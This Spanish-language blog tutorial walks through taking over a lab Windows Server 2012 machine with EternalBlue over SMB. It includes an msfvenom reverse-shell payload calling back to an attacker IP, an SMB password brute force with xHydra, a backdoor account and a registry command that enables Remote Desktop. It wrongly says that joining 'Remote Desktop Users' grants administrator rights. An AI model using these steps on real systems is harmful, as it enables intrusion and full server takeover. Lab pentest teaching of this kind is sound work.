El Poderoso SMB – Windows Server 2012

El Poderoso SMB – Windows Server 2012

por Manuel Stirk
manuel[email protected]

En este articulo les explicare un poco el como lograr acceso a Windows server 2012 gracias al protocolo SMB y no tener las configuraciones adecuadas, y por supuesto al famoso exploit eternalblue.

Para nuestro entorno necesitaremos:

2 máquinas virtuales
1 – Windows server 2012 (IP Objetivo: 10.0.2.8)

– El cual configuraremos para compartir y administrar remotamente, como cualquier servidor de producción obviamente sin filtros, para temas del pentest.

Nos vamos a Control Panel -> Network and Internet -> Network and Sharing Center -> Advanced sharing settings  y habilitamos el compartir:

Despues vamos a Server Manager -> Local Server -> Remote Desktop y habilitamos las conexiones remotas al servidor:

2 – Linux (IP Atacante: 10.0.2.10)
– NASM
– Python
– Metasploit
– Remmina
– xHydra (Version Grafica de Hydra)

1 Payload, el cual prepararemos.

Para preparar el payload lo primero será descargar la kernel shellcode desarrollada por worawit: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file- eternalblue_x64_kshellcode-asm

Guardamos el archivo y utilizamos NASM para ensamblar la kernel shellcode:

nasm -f bin eternalblue_x64_kshellcode.asm

Ahora usaremos msfvenom para crear el payload donde obtendremos una reverse Shell:

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell.bin EXITFUNC=thread

LHOST=10.0.2.10 LPORT=4444

Concatenamos una vez que ya tengamos la Shell.bin (Userland Shellcode) con la kernel shellcode ya ensamblada:

cat eternalblue_x64_kshellcode shell.bin > reverse_shell.bin

Ahora lo más importante es obtener el usuario y contraseña no importando los privilegios, que para fines demostrativos podríamos habilitar el usuario Guest desactivado por seguridad:

Control Panel -> User Accounts -> Manage Accounts -> clic en el usuario Guest y hacemos clic en Turn On

Pero en este ejercicio veremos como hacer un brute forcé para obtener los datos, para ello agregamos un usuario local sin privilegios en el servidor:

Usuario: mimi
Contraseña: Password456

Ahora sí, para poder realizar el brute forcé abriremos la aplicación grafica xhydra y configuraremos para atacar el protocolo smb:

Una vez que lancemos el ataque al obtener los datos los veremos de la siguiente manera:

Teniendo ya el usuario, modificamos el exploit creado también por worawit que podemos descargar de:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

Editamos las líneas 52 y 53 agregando el usuario mimi:
– USERNAME=’mimi’
– PASSWORD=’Password456′

Antes de ejecutar el exploit.py, nos aseguramos de tener a la escucha el puerto 4444 con ayuda de metasploit:

Ahora a ejecutar el exploit:

python exploit.py 10.0.2.8 reverse_shell.bin 500

El cual nos dará respuesta como esta:

Y recibiremos la conexión en la terminal de metasploit donde teníamos en escucha:

Ahora vemos que estamos con los privilegios más altos de Windows:

Es decir que tendremos acceso a todo, ahora lo que haremos será crear un usuario con privilegios de administrador:

net user /add test Pepito456

Como muestra la imagen arriba, creamos el usuario satisfactoriamente, ahora hay que agregarlo al grupo de administradores.

Net localgroup “Remote Desktop Users” test /add

Nuestro usuario “test” ya tiene privilegios de administrador y sigue simplemente ya conectarnos por remote desktop, en este ejercicio se habilito la máquina para esto, pero igual desde la consola podemos habilitarlo en dado caso que no lo este de la siguiente manera:

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Para conectarnos por remote desktop usaremos remmina, donde al conectarnos nos pedirá los datos del usuario que acabamos de crear:

 

 

 

 

 

Y listo, tendremos control total del server:

Deja un comentario